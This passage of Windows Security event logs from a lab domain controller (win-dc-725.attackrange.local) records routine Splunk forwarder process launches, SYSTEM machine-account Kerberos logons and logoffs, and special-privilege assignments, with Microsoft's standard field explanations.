administrator. -03/12/2021 12:28:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255684 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x85c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:28:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255685 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x343901 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:28:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255688 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x347FB0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:28:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255687 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x347FB0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64645 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:28:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255686 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x347FB0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:29:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255689 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1338 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:29:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255690 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:29:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255692 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x358 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:29:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255691 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x410 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:29:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255694 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:29:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255693 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf78 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:29:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255695 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe34 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:29:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255698 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x34B500 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:29:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255697 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x34B500 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64659 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:29:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255696 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x34B500 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:30:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255699 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf84 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:30:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255701 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x278 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:30:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255700 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1128 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:30:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255702 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:30:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255704 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x878 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:30:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255703 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc14 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:30:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255705 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1148 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:30:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255708 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x34EA31 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:30:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. 